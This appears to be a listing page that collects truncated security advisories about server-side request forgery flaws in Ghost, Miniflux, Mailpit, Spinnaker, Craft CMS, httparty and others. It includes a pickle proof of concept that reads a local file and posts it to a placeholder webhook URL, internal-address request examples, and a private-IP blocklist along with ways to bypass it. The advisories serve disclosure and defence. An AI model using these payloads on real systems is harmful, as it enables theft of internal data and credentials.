#ssrf

### Impact A vulnerability in Ghost’s media inliner mechanism allows staff users in possession of a valid authentication token for the Ghost Admin API to exfiltrate data from internal systems via SSRF. ### Vulnerable versions This vulnerability is present in Ghost v5.38.0 to v5.130.5 to and Ghost v6.0.0 to v6.10.3. ### Patches v5.130.6 and v6.11.0 contain a fix for this issue. ### References Ghost thanks Sho Odagiri of GMO Cybersecurity by Ierae, Inc. for discovering and disclosing this vulnerability responsibly. ### For more information If there are any questions or comments about this advisory, email Ghost at [security@ghost.org](mailto:security@ghost.org).

### Summary Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server. ### Details The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features: 1. io.FileIO: Opens local files without using builtins.open. 2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request. 3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling. ### PoC ```python import pickle, io, urllib.request class GetFile: def __reduce__(self): return (io.FileIO, ('/etc/hosts', 'r')) class Exfiltrate: def __reduce__(self): return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile())) wi...

Bio-Formats versions up to and including 8.3.0 contain an XML External Entity (XXE) vulnerability in the Leica Microsystems metadata parsing component (e.g., XLEF). The parser uses an insecurely configured DocumentBuilderFactory when processing Leica XML-based metadata files, allowing external entity expansion and external DTD loading. A crafted metadata file can trigger outbound network requests (SSRF), access local system resources where readable, or cause a denial of service during XML parsing.

### Summary Miniflux's media proxy endpoint (`GET /proxy/{encodedDigest}/{encodedURL}`) can be abused to perform Server-Side Request Forgery (SSRF). An authenticated user can cause Miniflux to generate a signed proxy URL for attacker-chosen media URLs embedded in feed entry content, including internal addresses (e.g., localhost, private RFC1918 ranges, or link-local metadata endpoints). Requesting the resulting `/proxy/...` URL makes Miniflux fetch and return the internal response. ### Details - **Vulnerable route**: `GET /proxy/{encodedDigest}/{encodedURL}` (accessible without authentication, but requires a server-generated HMAC-signed URL) - **Handler**: `internal/ui/proxy.go` (`(*handler).mediaProxy`) - **Trigger**: entry content is rewritten to proxy media URLs (e.g., `mediaproxy.RewriteDocumentWithAbsoluteProxyURL(...)`), producing signed `/proxy/...` URLs. - **Root cause**: the proxy validates the URL scheme and HMAC signature, but does not restrict target hosts/IPs. As a result...

## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in Mailpit's `/proxy` endpoint that allows attackers to make requests to internal network resources. ## Description The `/proxy` endpoint allows requests to internal network resources. While it validates `http://` and `https://` schemes, it does not block internal IP addresses, allowing attackers to access internal services and APIs. ## Proof of Concept ### Basic SSRF Request ``` GET /proxy?url=http://127.0.0.1:8025/api/v1/info ``` This returns internal API data including database path and runtime statistics. ## Impact Assessment ### 1. Internal Network Scanning Attacker can probe and discover internal services on the network. ### 2. Information Disclosure Access to internal API data, database paths, and runtime statistics. ### 3. Email Content Access Ability to read all captured emails via internal API endpoints. ### 4. Cloud Metadata Access If deployed in cloud environments (AWS/GCP/Azure), potential ac...

### Impact The primary impact is allowing users to fetch data from a remote URL. This data can be then injected into Spinnaker pipelines via helm or other methods to extract things LIKE idmsv1 authentication data. This ALSO includes calling INTERNAL Spinnaker API's via a get and similar endpoints. Further, depending upon the artifact configuration, auth data may be exposed to arbitrary endpoints (e.g. GitHub auth headers) leading to credentials exposure. To trigger this, a Spinnaker installation MUST have: * An artifact enabled that allows user input. This includes GitHub file artifacts, BitBucket, GitLab, HTTP artifacts and similar artifact providers. JUST enabling the http artifact provider will add a "no-auth" http provider that could be used to extract link local data (e.g. AWS Metadata information). * A system that can consume the output of these artifacts. E.g. Rosco helm can use this to fetch values data. K8s account manifests if the API returns JSON can be used to in...

A Blind Server-Side Request Forgery (SSRF) vulnerability in evershop 2.1.0 and prior allows unauthenticated attackers to force the server to initiate an HTTP request via the "GET /images" API. The vulnerability occurs due to insufficient validation of the "src" query parameter, which permits arbitrary HTTP or HTTPS URIs, resulting in unexpected requests against internal and external networks.

The Craft CMS GraphQL `save_<VolumeName>_Asset` mutation is vulnerable to Server-Side Request Forgery (SSRF). This vulnerability arises because the `_file` input, specifically its `url` parameter, allows the server to fetch content from arbitrary remote locations without proper validation. Attackers can exploit this by providing internal IP addresses or cloud metadata endpoints as the `url`, forcing the server to make requests to these restricted services. The fetched content is then saved as an asset, which can subsequently be accessed and exfiltrated, leading to potential data exposure and infrastructure compromise. This exploitation requires specific GraphQL permissions for asset management within the targeted volume. Users should update to the patched 5.8.21 and 4.16.17 releases to mitigate the issue. References: https://github.com/craftcms/cms/commit/013db636fdb38f3ce5657fd196b6d952f98ebc52 https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04 --- ### Requi...

### Summary A Server-Side Request Forgery (SSRF) filter bypass vulnerability exists in the webhook URL validation of the Secret Requests feature. The application attempts to block internal/private IP addresses but can be bypassed using DNS rebinding (e.g., `localtest.me` which resolves to `127.0.0.1`) or open redirect services (e.g., `httpbin.org/redirect-to`). This allows an authenticated user to make the server initiate HTTP requests to internal network resources. ### Details The vulnerability exists in the `isPublicUrl` function located in `/api/lib/utils.ts`. The function validates webhook URLs against a blocklist of private IP patterns: ```typescript export const isPublicUrl = (url: string): boolean => { const parsed = new URL(url); const hostname = parsed.hostname.toLowerCase(); const blockedPatterns = [ /^localhost$/, /^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/, /^192\.168\.\d{1,3}\.\d{1,3}$/, // ... other patterns ]; return...

## Summary There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. ## Details When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate. Consider the following example of a web application: ```rb require 'sinatra' require 'httparty' class RepositoryClient include HTTParty base_uri 'http://exmaple.test/api/v1/repositories/' headers 'X-API-KEY' => '1234567890' end post '/issue' do request_body = JSON.parse(request.body.read) RepositoryClient.get(request_body['repository_id']).body # do something json message: 'OK' end ``` Now, suppose an attacker sends a request like this: ``` POST /issue HTTP/1.1 Host: localhost:10000 Content-Type: application/json { ...